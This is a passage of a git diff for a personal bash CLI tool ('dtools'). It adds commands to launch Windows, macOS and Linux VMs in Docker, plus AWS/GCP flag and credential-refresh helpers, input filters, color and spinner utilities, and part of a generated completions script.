--set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 + fi +fi + diff --git a/src/commands/vm/mac.sh b/src/commands/vm/mac.sh new file mode 100644 index 0000000..fdea759 --- /dev/null +++ b/src/commands/vm/mac.sh @@ -0,0 +1,74 @@ +# shellcheck disable=SC2154 +declare version="${args[--version]}" +# shellcheck disable=SC2154 +declare disk_size="${args[--disk-size]}" +# shellcheck disable=SC2154 +declare ram_size="${args[--ram-size]}" +# shellcheck disable=SC2154 +declare cpu_cores="${args[--cpu-cores]}" +# shellcheck disable=SC2154 +declare share_directory="${args[--share-directory]}" +# shellcheck disable=SC2154 +declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" + +if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/mac/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Mac OS ${version}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted MacOS ${version} session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/mac/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/mac/$persistent_dir_prefix" +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/mac/$persistent_dir_prefix:/storage:rw" \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/macos) +else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/macos) +fi + +cleanup() { + cyan "Stopping Mac container $container_id..." + docker stop "$container_id" > /dev/null +} + +trap cleanup EXIT + +until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot"); do + blue "Waiting for Mac to boot..." + sleep 3 +done + +remmina -c vnc://localhost:5900 --set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 diff --git a/src/commands/vm/vm_commands.yml b/src/commands/vm/vm_commands.yml new file mode 100644 index 0000000..bd83087 --- /dev/null +++ b/src/commands/vm/vm_commands.yml @@ -0,0 +1,217 @@ +name: vm +help: Virtual Machine commands +group: Virtual Machine +expose: always + +commands: + - name: windows + help: Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006 + dependencies: + xfreerdp3: See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds' + flags: + - long: --persistent-dir-prefix + arg: persistent_dir_prefix + help: | + Specify the persistence directory ($HOME/.vm/windows/) to load/wipe the VM from. + Defaults to the version (e.g. $HOME/.vm/windows/11) + needs: [--persistent] + completions: + - $(ls -1 $HOME/.vm/windows/) + - long: --persistent + help: Persist the VM data to disk (persists to $HOME/.vm/windows) + - long: --wipe-persistent-data + help: Wipe any data persisted between sessions for the given Windows version + - long: --disk-size + help: The disk size of the VM's drive in GB + arg: disk_size + default: "64" + validate: integer + - long: --ram-size + help: The RAM size of the VM's RAM in GB + arg: ram_size + default: "4" + validate: integer + - long: --cpu-cores + help: The number of CPU cores the VM is allowed to use + arg: cpu_cores + default: "2" + validate: integer + - long: --share-directory + help: The directory to share with the VM (In Windows, this is the Network#host.lan machine) + arg: share_directory + default: "." + completions: + - + - long: --version + help: The version of Windows to start + arg: version + default: "11" + allowed: + - "11" + - "11l" + - "11e" + - "10" + - "10l" + - "10e" + - "8e" + - "7e" + - "ve" + - "xp" + - "2025" + - "2022" + - "2019" + - "2016" + - "2012" + - "2008" + - "2003" + + - name: linux + help: Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222 + dependencies: + remmina: See 'https://remmina.org/how-to-install-remmina/' + xfreerdp3: See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds' + filters: + - linux_image_url_or_dist_is_defined + flags: + - long: --persistent-dir-prefix + arg: persistent_dir_prefix + help: | + Specify the persistence directory ($HOME/.vm/linux/) to load/wipe the VM from. + Defaults to the image (e.g. $HOME/.vm/linux/ubuntu) + needs: [--persistent] + completions: + - $(ls -1 $HOME/.vm/linux/) + - long: --persistent + help: Persist the VM data to disk (persists to $HOME/.vm/linux) + - long: --wipe-persistent-data + help: Wipe any data persisted between sessions for the given Linux version + - long: --no-gui + help: Do not start a VNC connection to the image + conflicts: [--use-rdp] + - long: --use-rdp + help: Start an RDP connection to the container once it starts (Assumes an RDP server runs at start in the container) + conflicts: [--no-gui] + - long: --rdp-user + help: Specify the RDP user to use when connecting to the container + arg: rdp_user + default: $USER + needs: [--use-rdp] + - long: --rdp-password + help: Specify the RDP password to use when connecting to the container + arg: rdp_password + default: admin + needs: [--use-rdp] + - long: --disk-size + help: The disk size of the VM's drive in GB + arg: disk_size + default: "128" + validate: integer + - long: --ram-size + help: The RAM size of the VM's RAM in GB + arg: ram_size + default: "8" + validate: integer + - long: --cpu-cores + help: The number of CPU cores the VM is allowed to use + arg: cpu_cores + default: "4" + validate: integer + - long: --share-directory + help: The directory to share with the VM (Access by running 'mount -t 9p -o trans=virtio shared /mnt/shared' in the container) + arg: share_directory + default: "." + completions: + - + - long: --dist + help: The Linux distribution to start + arg: distribution + allowed: + - "alma" + - "alpine" + - "arch" + - "cachy" + - "centos" + - "debian" + - "fedora" + - "gentoo" + - "kali" + - "kubuntu" + - "mint" + - "manjaro" + - "mx" + - "nixos" + - "suse" + - "oracle" + - "rocky" + - "slack" + - "tails" + - "ubuntu" + - "ubuntus" + - "xubuntu" + conflicts: [--image-url] + - long: --image-url + help: |- + Boot using a custom image at the specified URL. + Supported formats are: + + .img + .raw + .iso + .qcow2 + .vmdk + .vhd + .vhdx + .vdi + + It will also accept files such as .img.gz, .qcow2.xz, .iso.zip, and many more because it will automatically extract compressed files + arg: image_url + conflicts: [--dist] + + - name: mac + help: Start a MacOS VM that's available at http://localhost:8006 + dependencies: + remmina: See 'https://remmina.org/how-to-install-remmina/' + flags: + - long: --persistent-dir-prefix + arg: persistent_dir_prefix + help: | + Specify the persistence directory ($HOME/.vm/mac/) to load/wipe the VM from. + Defaults to the version (e.g. $HOME/.vm/mac/15) + needs: [--persistent] + completions: + - $(ls -1 $HOME/.vm/mac/) + - long: --persistent + help: Persist the VM data to disk (persists to $HOME/.vm/mac) + - long: --wipe-persistent-data + help: Wipe any data persisted between sessions for the given Mac version + - long: --disk-size + help: The disk size of the VM's drive in GB + arg: disk_size + default: "64" + validate: integer + - long: --ram-size + help: The RAM size of the VM's RAM in GB + arg: ram_size + default: "4" + validate: integer + - long: --cpu-cores + help: The number of CPU cores the VM is allowed to use + arg: cpu_cores + default: "2" + validate: integer + - long: --share-directory + help: The directory to share with the VM (Access by running 'mount -S mount_9p shared' in the container; Then it's available under Finder -> Go -> Computer) + arg: share_directory + default: "." + completions: + - + - long: --version + help: The version of MacOS to start + arg: version + default: "13" + allowed: + - "15" + - "14" + - "13" + - "12" + - "11" diff --git a/src/commands/vm/windows.sh b/src/commands/vm/windows.sh new file mode 100644 index 0000000..f6cec44 --- /dev/null +++ b/src/commands/vm/windows.sh @@ -0,0 +1,74 @@ +# shellcheck disable=SC2154 +declare version="${args[--version]}" +# shellcheck disable=SC2154 +declare disk_size="${args[--disk-size]}" +# shellcheck disable=SC2154 +declare ram_size="${args[--ram-size]}" +# shellcheck disable=SC2154 +declare cpu_cores="${args[--cpu-cores]}" +# shellcheck disable=SC2154 +declare share_directory="${args[--share-directory]}" +# shellcheck disable=SC2154 +declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" + +if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/windows/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Windows ${version}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted Windows ${version} session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/windows/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/windows/$persistent_dir_prefix" +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/windows/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 3389:3389 \ + --device=/dev/kvm \ + --device=/dev/dri \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/data" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/windows) +else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 3389:3389 \ + --device=/dev/kvm \ + --device=/dev/dri \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/data" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/windows) +fi + +cleanup() { + cyan "Stopping Windows container $container_id..." + docker stop "$container_id" > /dev/null +} + +trap cleanup EXIT + +until (docker logs "$container_id" 2>&1 | grep -qi "starting boot.*Windows Boot Manager"); do + blue "Waiting for Windows to boot..." + sleep 3 +done + +yes | xfreerdp3 /v:localhost /u:Docker /p:admin +dynamic-resolution diff --git a/src/components/ai/hf_file_flag.yml b/src/components/ai/hf_file_flag.yml new file mode 100644 index 0000000..fa17b19 --- /dev/null +++ b/src/components/ai/hf_file_flag.yml @@ -0,0 +1,5 @@ +long: --hf-file +short: -f +arg: hf_file +help: The Hugging Face model GGUF file to use +default: "Phi-3-mini-4k-instruct-q4.gguf" \ No newline at end of file diff --git a/src/components/ai/hf_repo_flag.yml b/src/components/ai/hf_repo_flag.yml new file mode 100644 index 0000000..879a6b1 --- /dev/null +++ b/src/components/ai/hf_repo_flag.yml @@ -0,0 +1,5 @@ +long: --hf-repo +short: -r +arg: hf_repo +help: The Hugging Face repository to use +default: "microsoft/Phi-3-mini-4k-instruct-gguf" \ No newline at end of file diff --git a/src/components/aws/allowed_regions.yml b/src/components/aws/allowed_regions.yml new file mode 100644 index 0000000..4099345 --- /dev/null +++ b/src/components/aws/allowed_regions.yml @@ -0,0 +1,27 @@ +- ap-south-2 +- ap-south-1 +- eu-south-1 +- eu-south-2 +- me-central-1 +- ca-central-1 +- eu-central-1 +- eu-central-2 +- us-west-1 +- us-west-2 +- af-south-1 +- eu-north-1 +- eu-west-3 +- eu-west-2 +- eu-west-1 +- ap-northeast-3 +- ap-northeast-2 +- me-south-1 +- ap-northeast-1 +- sa-east-1 +- ap-east-1 +- ap-southeast-1 +- ap-southeast-2 +- ap-southeast-3 +- ap-southeast-4 +- us-east-1 +- us-east-2 diff --git a/src/components/aws/ec2/allowed_list_instance_filters.yml b/src/components/aws/ec2/allowed_list_instance_filters.yml new file mode 100644 index 0000000..b02b265 --- /dev/null +++ b/src/components/aws/ec2/allowed_list_instance_filters.yml @@ -0,0 +1,15 @@ +- instance-id +- instance-type +- private-dns-name +- private-ip-address +- public-dns-name +- subnet-id +- vpc-id +- tags +- launch-time +- availability-zone +- state +- architecture +- instance-profile +- security-groups +- os diff --git a/src/components/aws/profile_flag.yml b/src/components/aws/profile_flag.yml new file mode 100644 index 0000000..956112a --- /dev/null +++ b/src/components/aws/profile_flag.yml @@ -0,0 +1,7 @@ +long: --profile +short: -p +arg: profile +help: The AWS profile to use +validate: aws_profile_exists +completions: + - $(awk '/\[profile*/ { print substr($2, 1, length($2)-1);}' ~/.aws/config) diff --git a/src/components/aws/region_flag.yml b/src/components/aws/region_flag.yml new file mode 100644 index 0000000..c3249af --- /dev/null +++ b/src/components/aws/region_flag.yml @@ -0,0 +1,7 @@ +long: --region +short: -r +arg: region +default: "us-east-1" +help: The AWS region to use +allowed: + import: src/components/aws/allowed_regions.yml diff --git a/src/components/documents/allowed_pandoc_source_formats.yml b/src/components/documents/allowed_pandoc_source_formats.yml new file mode 100644 index 0000000..29204fc --- /dev/null +++ b/src/components/documents/allowed_pandoc_source_formats.yml @@ -0,0 +1,46 @@ +- bibtex +- biblatex +- bits +- commonmark +- commonmark_x +- creole +- csljson +- csv +- tsv +- djot +- docbook +- docx +- dokuwiki +- endnotexml +- epub +- fb2 +- gfm +- haddock +- html +- ipynb +- jats +- jira +- json +- latex +- markdown +- markdown_mmd +- markdown_phpextra +- markdown_strict +- mediawiki +- man +- mdoc +- muse +- native +- odt +- opml +- org +- pod +- ris +- rtf +- rst +- t2t +- textile +- tikiwiki +- twiki +- typst +- vimwiki diff --git a/src/components/documents/allowed_pandoc_target_formats.yml b/src/components/documents/allowed_pandoc_target_formats.yml new file mode 100644 index 0000000..d30f16e --- /dev/null +++ b/src/components/documents/allowed_pandoc_target_formats.yml @@ -0,0 +1,63 @@ +- ansi +- asciidoc +- asciidoc_legacy +- asciidoctor +- beamer +- bibtex +- biblatex +- chunkedhtml +- commonmark +- commonmark_x +- context +- csljson +- djot +- docbook +- docbook5 +- docx +- dokuwiki +- epub +- epub2 +- fb2 +- gfm +- haddock +- html +- html4 +- icml +- ipynb +- jats_archiving +- jats_articleauthoring +- jats_publishing +- jats +- jira +- json +- latex +- man +- markdown +- markdown_mmd +- markdown_phpextra +- markdown_strict +- markua +- mediawiki +- ms +- muse +- native +- odt +- opml +- opendocument +- org +- pdf +- plain +- pptx +- rst +- rtf +- texinfo +- textile +- slideous +- slidy +- dzslides +- revealjs +- s5 +- tei +- typst +- xwiki +- zimwiki diff --git a/src/components/gcp/allowed_locations.yml b/src/components/gcp/allowed_locations.yml new file mode 100644 index 0000000..6e24206 --- /dev/null +++ b/src/components/gcp/allowed_locations.yml @@ -0,0 +1,42 @@ +- africa-south1 +- asia-east1 +- asia-east2 +- asia-northeast1 +- asia-northeast2 +- asia-northeast3 +- asia-south1 +- asia-south2 +- asia-southeast1 +- asia-southeast2 +- australia-southeast1 +- australia-southeast2 +- europe-central2 +- europe-north1 +- europe-north2 +- europe-southwest1 +- europe-west1 +- europe-west10 +- europe-west12 +- europe-west2 +- europe-west3 +- europe-west4 +- europe-west6 +- europe-west8 +- europe-west9 +- me-central1 +- me-central2 +- me-west1 +- northamerica-northeast1 +- northamerica-northeast2 +- northamerica-south1 +- southamerica-east1 +- southamerica-west1 +- us-central1 +- us-east1 +- us-east4 +- us-east5 +- us-south1 +- us-west1 +- us-west2 +- us-west3 +- us-west4 diff --git a/src/components/gcp/location_flag.yml b/src/components/gcp/location_flag.yml new file mode 100644 index 0000000..7b5f488 --- /dev/null +++ b/src/components/gcp/location_flag.yml @@ -0,0 +1,7 @@ +long: --location +short: -l +arg: location +default: 'us-central1' +help: The GCP location to use +allowed: + import: src/components/gcp/allowed_locations.yml diff --git a/src/components/gcp/project_flag.yml b/src/components/gcp/project_flag.yml new file mode 100644 index 0000000..43b3c30 --- /dev/null +++ b/src/components/gcp/project_flag.yml @@ -0,0 +1,6 @@ +long: --project +short: -p +arg: project +help: The GCP project to use +completions: + - $(gcloud projects list | awk 'NR > 1 {print $1}') diff --git a/src/lib/colors.sh b/src/lib/colors.sh new file mode 100644 index 0000000..0653bb6 --- /dev/null +++ b/src/lib/colors.sh @@ -0,0 +1,62 @@ +## Color functions [@bashly-upgrade colors] +## This file is a part of Bashly standard library +## +## Usage: +## Use any of the functions below to color or format a portion of a string. +## +## echo "before $(red this is red) after" +## echo "before $(green_bold this is green_bold) after" +## +## Color output will be disabled if `NO_COLOR` environment variable is set +## in compliance with https://no-color.org/ +## +## In case you wish to enable auto detection for color output based on the +## terminal being interactive (TTY), call `enable_auto_colors` in your +## `src/initialize.sh` (Run `bashly add hooks` to add this file). +## +enable_auto_colors() { + ## If NO_COLOR has not been set and stdout is not a TTY, disable colors + if [[ -z ${NO_COLOR+x} && ! -t 1 ]]; then + NO_COLOR=1 + fi +} + +print_in_color() { + local color="$1" + shift + if [[ "${NO_COLOR:-}" == "" ]]; then + printf "$color%b\e[0m\n" "$*" + else + printf "%b\n" "$*" + fi +} + +red() { print_in_color "\e[31m" "$*"; } +green() { print_in_color "\e[32m" "$*"; } +yellow() { print_in_color "\e[33m" "$*"; } +blue() { print_in_color "\e[34m" "$*"; } +magenta() { print_in_color "\e[35m" "$*"; } +cyan() { print_in_color "\e[36m" "$*"; } +black() { print_in_color "\e[30m" "$*"; } +white() { print_in_color "\e[37m" "$*"; } + +bold() { print_in_color "\e[1m" "$*"; } +underlined() { print_in_color "\e[4m" "$*"; } + +red_bold() { print_in_color "\e[1;31m" "$*"; } +green_bold() { print_in_color "\e[1;32m" "$*"; } +yellow_bold() { print_in_color "\e[1;33m" "$*"; } +blue_bold() { print_in_color "\e[1;34m" "$*"; } +magenta_bold() { print_in_color "\e[1;35m" "$*"; } +cyan_bold() { print_in_color "\e[1;36m" "$*"; } +black_bold() { print_in_color "\e[1;30m" "$*"; } +white_bold() { print_in_color "\e[1;37m" "$*"; } + +red_underlined() { print_in_color "\e[4;31m" "$*"; } +green_underlined() { print_in_color "\e[4;32m" "$*"; } +yellow_underlined() { print_in_color "\e[4;33m" "$*"; } +blue_underlined() { print_in_color "\e[4;34m" "$*"; } +magenta_underlined() { print_in_color "\e[4;35m" "$*"; } +cyan_underlined() { print_in_color "\e[4;36m" "$*"; } +black_underlined() { print_in_color "\e[4;30m" "$*"; } +white_underlined() { print_in_color "\e[4;37m" "$*"; } diff --git a/src/lib/filters/ai-filters.sh b/src/lib/filters/ai-filters.sh new file mode 100644 index 0000000..e50a3f4 --- /dev/null +++ b/src/lib/filters/ai-filters.sh @@ -0,0 +1,3 @@ +filter_llama_running() { + curl -s http://localhost:8080 > /dev/null 2>&1 || red_bold "LLama must be running. You can start it with 'dtools ai start-llama'" +} \ No newline at end of file diff --git a/src/lib/filters/aws-filters.sh b/src/lib/filters/aws-filters.sh new file mode 100644 index 0000000..87076af --- /dev/null +++ b/src/lib/filters/aws-filters.sh @@ -0,0 +1,28 @@ +filter_profile_and_region_variables_set_with_flags() { + declare aws_profile="${args[--profile]:-$AWS_PROFILE}" + declare aws_region="${args[--region]:-$AWS_REGION}" + + if [[ -z "$aws_profile" ]]; then + red_bold "The AWS profile must be set." + red_bold "You can specify it using the '--profile' flag." + red_bold "\nAlternatively, set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" + fi + + if [[ -z $aws_region ]]; then + red_bold "The AWS region must be set." + red_bold "You can specify it using the '--region' flag." + red_bold "\nAlternatively, set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." + fi +} + +filter_profile_and_region_variables_set_generic() { + if [[ -z "$AWS_PROFILE" ]]; then + red_bold "The AWS profile must be set." + red_bold "You can set the 'AWS_PROFILE' environment variable via 'dtools aws profile ' and then try again.\n\n" + fi + + if [[ -z $AWS_REGION ]]; then + red_bold "The AWS region must be set." + red_bold "You can set the 'AWS_REGION' environment variable via 'dtools aws region ' and then try again." + fi +} diff --git a/src/lib/filters/db-filters.sh b/src/lib/filters/db-filters.sh new file mode 100644 index 0000000..f6f6874 --- /dev/null +++ b/src/lib/filters/db-filters.sh @@ -0,0 +1,11 @@ +filter_postgres_not_running() { + if docker container ls | grep -q 'postgres'; then + red_bold "The PostgreSQL container is already running. Try stopping the container and trying again." + fi +} + +filter_mysql_not_running() { + if docker container ls | grep -q 'mysql'; then + red_bold "The MySQL container is already running. Try stopping the container and trying again." + fi +} diff --git a/src/lib/filters/gcp-filters.sh b/src/lib/filters/gcp-filters.sh new file mode 100644 index 0000000..030b29a --- /dev/null +++ b/src/lib/filters/gcp-filters.sh @@ -0,0 +1,16 @@ +filter_project_and_location_variables_set_with_flags() { + declare gcp_project="${args[--project]:-$GCP_PROJECT}" + declare gcp_location="${args[--location]:-$GCP_LOCATION}" + + if [[ -z "$gcp_project" ]]; then + red_bold "The GCP project must be set." + red_bold "You can specify it using the '--project' flag." + red_bold "\nAlternatively, set the 'GCP_PROJECT' environment variable via 'dtools gcp project ' and then try again.\n\n" + fi + + if [[ -z $gcp_location ]]; then + red_bold "The GCP location must be set." + red_bold "You can specify it using the '--location' flag." + red_bold "\nAlternatively, set the 'GCP_LOCATION' environment variable via 'dtools gcp location ' and then try again." + fi +} diff --git a/src/lib/filters/java-filters.sh b/src/lib/filters/java-filters.sh new file mode 100644 index 0000000..b2296c0 --- /dev/null +++ b/src/lib/filters/java-filters.sh @@ -0,0 +1,6 @@ +filter_maven_or_gradle_installed() { + if ! (command -v mvn > /dev/null 2>&1 || command -v gradle > /dev/null 2>&1); then + red_bold "Maven or Gradle must be installed to run this command." + red_bold "Please install Maven or Gradle and try again." + fi +} \ No newline at end of file diff --git a/src/lib/filters/os-filters.sh b/src/lib/filters/os-filters.sh new file mode 100644 index 0000000..e809db3 --- /dev/null +++ b/src/lib/filters/os-filters.sh @@ -0,0 +1,5 @@ +filter_debian_based_os() { + if grep -qiv '^ID_LIKE=.*debian' /etc/os-release; then + red_bold "This command can only be run on debian-based systems." + fi +} \ No newline at end of file diff --git a/src/lib/filters/plot-filters.sh b/src/lib/filters/plot-filters.sh new file mode 100644 index 0000000..f4be83e --- /dev/null +++ b/src/lib/filters/plot-filters.sh @@ -0,0 +1,21 @@ +filter_multiplot_requirements() { + # shellcheck disable=SC2154 + if [[ "${args[--multiplot]}" == 1 ]]; then + # shellcheck disable=SC2154 + if [[ "${args[--gui]}" != 1 ]]; then + red_bold "Multiplot can only be used in GUI mode. Add the '--gui' flag to plot multiple graphs" + fi + + if [[ "${args[--type]}" != "bar" ]]; then + red_bold "Multiplot can only be used with bar graphs. Add the '--type bar' flag to enable bar graphs" + fi + fi +} + +filter_stack_vertically_multiplot_only() { + if [[ "${args[--stack-vertically]}" == 1 ]]; then + if [[ "${args[--multiplot]}" != 1 ]]; then + red_bold "The '--stack-vertically' flag can only be used with multiplot mode. Add the '--multiplot' flag to use '--stack-vertically'." + fi + fi +} diff --git a/src/lib/filters/vm_filters.sh b/src/lib/filters/vm_filters.sh new file mode 100644 index 0000000..2212a5a --- /dev/null +++ b/src/lib/filters/vm_filters.sh @@ -0,0 +1,10 @@ +filter_linux_image_url_or_dist_is_defined() { + # shellcheck disable=SC2154 + declare dist="${args[--dist]}" + # shellcheck disable=SC2154 + declare image_url="${args[--image-url]}" + + if [[ -z $image_url && -z $dist ]]; then + red_bold "One of either '--image-url' or '--dist' is required" + fi +} diff --git a/src/lib/helpers/aws-helpers.sh b/src/lib/helpers/aws-helpers.sh new file mode 100644 index 0000000..db631c9 --- /dev/null +++ b/src/lib/helpers/aws-helpers.sh @@ -0,0 +1,38 @@ +close-aws-auth-tab() { + sleep 2 + zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" + + wmctrl -a "AWS access portal" + xdotool key Ctrl+w + wmctrl -a "$zellij_session_id" +} + +validate-or-refresh-aws-auth() { + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + + if ! (aws sts get-caller-identity --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then + yellow_bold "Detected SSO profile: credentials have expired and need to be refreshed" + yellow "Refreshing credentials for ${aws_profile}..." + + spinny-start + if ! (aws sso login --profile "$aws_profile" --region "$aws_region" > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into AWS." + else + spinny-stop + close-aws-auth-tab + green "Credentials refreshed for ${aws_profile}" + fi + fi +} + +get-aws-profile() { + echo "${args[--profile]:-$AWS_PROFILE}" +} + +get-aws-region() { + echo "${args[--region]:-$AWS_REGION}" +} diff --git a/src/lib/helpers/gcp-helpers.sh b/src/lib/helpers/gcp-helpers.sh new file mode 100644 index 0000000..c6be2e7 --- /dev/null +++ b/src/lib/helpers/gcp-helpers.sh @@ -0,0 +1,45 @@ +close-gcp-auth-tab() { + sleep 3 + zellij_session_id="$(zellij ls | grep -i current | awk '{print $1}' | sed -r 's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" + + wmctrl -a "You are now authenticated with the gcloud CLI" + xdotool key Ctrl+w + wmctrl -a "$zellij_session_id" +} + +validate-or-refresh-gcp-auth() { + if ! (gcloud auth print-access-token --quiet > /dev/null 2>&1); then + yellow_bold "GCP credentials have expired and need to be refreshed" + + yellow "Refreshing user credentials..." + spinny-start + if ! (gcloud auth login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into GCP." + else + spinny-stop + close-gcp-auth-tab + green "User credentials refreshed" + fi + + yellow "Refreshing application default credentials..." + spinny-start + if ! (gcloud auth application-default login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to configure GCP credentials for applications." + else + spinny-stop + close-gcp-auth-tab + green "GCP application default credentials refreshed" + fi + fi +} + +get-gcp-project() { + echo "${args[--project]:-$GCP_PROJECT}" +} + +get-gcp-location() { + echo "${args[--location]:-$GCP_LOCATION}" +} + diff --git a/src/lib/helpers/git-helpers.sh b/src/lib/helpers/git-helpers.sh new file mode 100644 index 0000000..4393650 --- /dev/null +++ b/src/lib/helpers/git-helpers.sh @@ -0,0 +1,5 @@ +repo-doesnt-have-uncommitted-changes() { + git diff --quiet && \ + git diff --cached --quiet && \ + git rev-list @{u}..HEAD --quiet +} diff --git a/src/lib/helpers/os-helpers.sh b/src/lib/helpers/os-helpers.sh new file mode 100644 index 0000000..61f8a74 --- /dev/null +++ b/src/lib/helpers/os-helpers.sh @@ -0,0 +1,46 @@ +detect_os() { + case "$OSTYPE" in + solaris*) echo "solaris" ;; + darwin*) echo "macos" ;; + linux*) echo "linux" ;; + bsd*) echo "bsd" ;; + msys*) echo "windows" ;; + cygwin*) echo "windows" ;; + *) echo "unknown" ;; + esac +} + +get_opener() { + declare cmd + + case "$(detect_os)" in + macos) cmd="open" ;; + linux) cmd="xdg-open" ;; + windows) cmd="start" ;; + *) cmd="" ;; + esac + + echo "$cmd" +} + +open_link() { + cmd="$(get_opener)" + + if [[ "$cmd" == "" ]]; then + error "Your platform is not supported for opening links." + red "Please open the following URL in your preferred browser:" + red " ${1}" + return 1 + fi + + $cmd "$1" + + if [[ $? -eq 1 ]]; then + error "Failed to open your browser." + red "Please open the following URL in your browser:" + red "${1}" + return 1 + fi + + return 0 +} diff --git a/src/lib/helpers/spinner.sh b/src/lib/helpers/spinner.sh new file mode 100644 index 0000000..7eb7e32 --- /dev/null +++ b/src/lib/helpers/spinner.sh @@ -0,0 +1,78 @@ +trap 'spinny-stop' SIGINT +declare -a SPINNY_FRAMES=(โ–ธ โ–นโ–ธ โ–นโ–นโ–ธ โ–นโ–นโ–นโ–ธ โ–นโ–นโ–นโ–นโ–ธ " โ–นโ–นโ–นโ–น" " โ–นโ–นโ–น" " โ–นโ–น" " โ–น" " " ) +declare SPINNY_DELAY=0.1 +declare __spinny__spinner_pid +declare -a __spinny__frames=() + + +spinny-start() { + tput civis + spinny_spinner & + __spinny__spinner_pid=$! +} + +spinny-stop() { + [[ -z "$__spinny__spinner_pid" ]] && return 0 + + kill -9 "$__spinny__spinner_pid" + # Use conditional to avoid exiting the program immediatly + wait "$__spinny__spinner_pid" 2>/dev/null || true + tput cnorm + unset __spinny__spinner_pid + unset __spinny__frames +} + +spinny_spinner() { + local delay="${SPINNY_DELAY:-0.3}" + spinny_load_frames + spinny_pad_frames + while true; do + for frame in "${__spinny__frames[@]}"; do + # After rendering each frame the cursor is reset to + # the previous position so that the next frame can + # overwrite it + tput sc + printf "%b" "$frame" + tput rc + sleep "$delay" + done + done +} + +spinny_pad_frames() { + # Frames with different lengths need to be padded + # for a smooth animation. We calculate the maximum + # size of all frames and pad all smaller ones with + # white space. + local max_length + max_length="$(spinny_max_framelength)" + local array_length="${#__spinny__frames[@]}" + for (( i=0; i < array_length; i++ )) do + local frame="${__spinny__frames[$i]}" + local frame_length="${#frame}" + diff="$(( max_length - frame_length + 1 ))" + # This adds the required number of white spaces + # to the frame + # TODO: Replace with pure bash if possible + filler="$(seq -s ' ' "$diff" | tr -d '[:digit:]')" + __spinny__frames[$i]="$frame$filler" + done +} + +spinny_max_framelength() { + local max="${#__spinny__frames[0]}" + for frame in "${__spinny__frames[@]}"; do + declare len="${#frame}" + (( len > max )) && max=$len + done + echo "$max" +} + +spinny_load_frames() { + # Load custom frames if any or fall back on the default animation + if [[ -z $SPINNY_FRAMES ]]; then + __spinny__frames=(- "\\" "|" /) + else + __spinny__frames=("${SPINNY_FRAMES[@]}") + fi +} diff --git a/src/lib/send_completions.sh b/src/lib/send_completions.sh new file mode 100644 index 0000000..dc4304e --- /dev/null +++ b/src/lib/send_completions.sh @@ -0,0 +1,1504 @@ +## [@bashly-upgrade completions send_completions] +send_completions() { + echo $'# dtools completion -*- shell-script -*-' + echo $'' + echo $'# This bash completions script was generated by' + echo $'# completely (https://github.com/bashly-framework/completely)' + echo $'# Modifying it manually is not recommended' + echo $'' + echo $'_dtools_completions_filter() {' + echo $' local words="$1"' + echo $' local cur=${COMP_WORDS[COMP_CWORD]}' + echo $' local result=()' + echo $'' + echo $' # words the user already typed (excluding the command itself)' + echo $' local used=()' + echo $' if ((COMP_CWORD > 